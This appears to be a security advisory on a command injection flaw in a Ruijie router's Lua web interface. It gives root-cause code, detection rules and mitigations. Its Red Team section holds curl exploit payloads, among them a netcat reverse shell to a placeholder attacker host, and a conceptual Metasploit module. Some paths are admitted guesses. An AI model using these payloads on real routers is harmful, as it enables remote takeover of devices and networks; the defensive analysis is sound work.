CVE-2025-56090

Executive Summary

CVE-2025-56090 is a critical OS Command Injection vulnerability discovered in the Ruijie RG-EW1200G PRO router firmware versions V1.00 through V4.00. The flaw resides in the /usr/local/lua/dev_config/config_retain.lua file, specifically within the module_set function. An unauthenticated attacker can exploit this by sending a crafted POST request, leading to arbitrary command execution on the device with root privileges. This allows for full device compromise, network pivoting, and potential lateral movement within the target network. No patch is currently available from the vendor, making this a high-priority zero-day threat.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full device access, data exfiltration possible.
• Integrity Impact: High (I:H) – Device can be fully controlled and modified.
• Availability Impact: High (A:H) – Device can be bricked or used in DDoS attacks.

Threat Level: Critical. The combination of remote exploitability, no authentication, and full system compromise makes this a severe threat. Active exploitation is expected.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection in the Lua-based web management interface of the Ruijie RG-EW1200G PRO router. The config_retain.lua script handles configuration retention requests. The module_set function improperly sanitizes user-supplied input from POST parameters before passing it to a system shell command.

Root Cause: The application constructs a shell command by concatenating user input directly into a string that is then executed via os.execute() or a similar Lua function. For example, a parameter like module_name might be used in a command like cp /tmp/config_{input} /etc/config/. Without proper sanitization, an attacker can inject shell metacharacters (e.g., ;, |, `, $()) to break out of the intended command and execute arbitrary OS commands.

Attack Flow:

1. Attacker identifies a vulnerable Ruijie RG-EW1200G PRO router (e.g., via Shodan).
2. Attacker sends a POST request to the vulnerable endpoint (likely /cgi-bin/luci/;stok=/locale or similar path) with a crafted payload in the module_set parameter.
3. The Lua script passes the unsanitized input to a shell command.
4. The injected command executes with root privileges.
5. Attacker gains a reverse shell, installs malware, or exfiltrates data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

-- config_retain.lua (Vulnerable)
function module_set()
    local module_name = get_post_param("module_name")
    local cmd = "cp /tmp/config_" .. module_name .. " /etc/config/"
    os.execute(cmd)
end

Patched Code (Conceptual):

-- config_retain.lua (Patched)
function module_set()
    local module_name = get_post_param("module_name")
    -- Whitelist allowed module names
    local allowed_modules = {"wifi", "lan", "wan"}
    if not is_in_table(module_name, allowed_modules) then
        return error("Invalid module name")
    end
    -- Use safe API instead of shell
    local success = safe_file_copy("/tmp/config_" .. module_name, "/etc/config/")
    if not success then
        return error("Copy failed")
    end
end

Key Differences:

• Input Validation: Patched code uses a whitelist to restrict input to known safe values.
• Safe API: Instead of os.execute(), the patched code uses a safe file copy function that does not invoke a shell.
• Error Handling: Proper error messages are returned instead of silently executing commands.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target: Ruijie RG-EW1200G PRO (any firmware V1.00-V4.00)
• Network access to the router's web interface (typically port 80 or 443)

Exploit Payload:

# Crafted POST request to exploit the command injection
curl -X POST http://<target_ip>/cgi-bin/luci/;stok=/locale \
  -d "module_set=wifi;id" \
  -H "Content-Type: application/x-www-form-urlencoded"

Reverse Shell Payload:

# Using netcat to get a reverse shell
curl -X POST http://<target_ip>/cgi-bin/luci/;stok=/locale \
  -d "module_set=wifi;nc -e /bin/sh <attacker_ip> 4444" \
  -H "Content-Type: application/x-www-form-urlencoded"

Metasploit Module (Conceptual):

# exploit/linux/http/ruijie_rg_ew1200g_cmd_inject.rb
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Ruijie RG-EW1200G PRO Command Injection',
      'Description' => 'Exploits an OS command injection in Ruijie RG-EW1200G PRO routers.',
      'Author' => ['Valters IT'],
      'References' => [['CVE', '2025-56090']],
      'DisclosureDate' => '2025-04-01',
      'Targets' => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    print_status("Sending exploit payload...")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/cgi-bin/luci/;stok=/locale',
      'vars_post' => {
        'module_set' => "wifi;#{payload.encoded}"
      }
    })
    if res && res.code == 200
      print_good("Exploit sent successfully")
    else
      print_error("Exploit failed")
    end
  end
end

Blue Team (Detection & Forensics)

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/luci/;stok=/locale with unusual module_set parameters.
2. Look for shell metacharacters (;, |, &, `, $()) in POST data.
3. Check for outbound connections from the router to unknown IPs on high ports (e.g., 4444, 1337).
4. Analyze router logs for unexpected process execution (e.g., id, nc, bash).

Forensic Artifacts:

• /tmp/ directory may contain attacker-uploaded files.
• /var/log/messages or syslog may show command execution attempts.
• Running processes (ps aux) may reveal reverse shells or backdoors.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_56090_Ruijie_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-56090 in HTTP POST requests"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-56090"
    strings:
        $post_path = "/cgi-bin/luci/;stok=/locale"
        $module_set = "module_set="
        $shell_chars = /[;&|`$(){}]/
    condition:
        $post_path and $module_set and $shell_chars
}

Sigma Rule

title: Ruijie RG-EW1200G PRO Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable endpoint with shell metacharacters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/cgi-bin/luci/;stok=/locale'
        cs-uri-query|contains: 'module_set='
        cs-uri-query|re: '.*[;&|`$(){}].*'
    condition: selection
falsepositives:
    - Legitimate administrative actions (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-56090 Ruijie RG-EW1200G PRO Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/luci/;stok=/locale";
    http_uri;
    content:"module_set=";
    http_client_body;
    pcre:"/[;&|`$(){}]/R";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Disconnect Ruijie RG-EW1200G PRO routers from the internet until a patch is available.
2. Restrict access: Use firewall rules to block external access to the router's web interface (ports 80, 443).
3. Monitor logs: Enable detailed logging and monitor for exploitation attempts.

Long-term Fix:

• Vendor patch: Await an official firmware update from Ruijie. Apply as soon as available.
• Firmware hardening: If possible, disable the web management interface or restrict it to local network only.
• Replace hardware: Consider replacing the router with a more secure alternative if no patch is forthcoming.

Workaround:

• Implement a WAF (Web Application Firewall) rule to block POST requests containing shell metacharacters in the module_set parameter.

Valters IT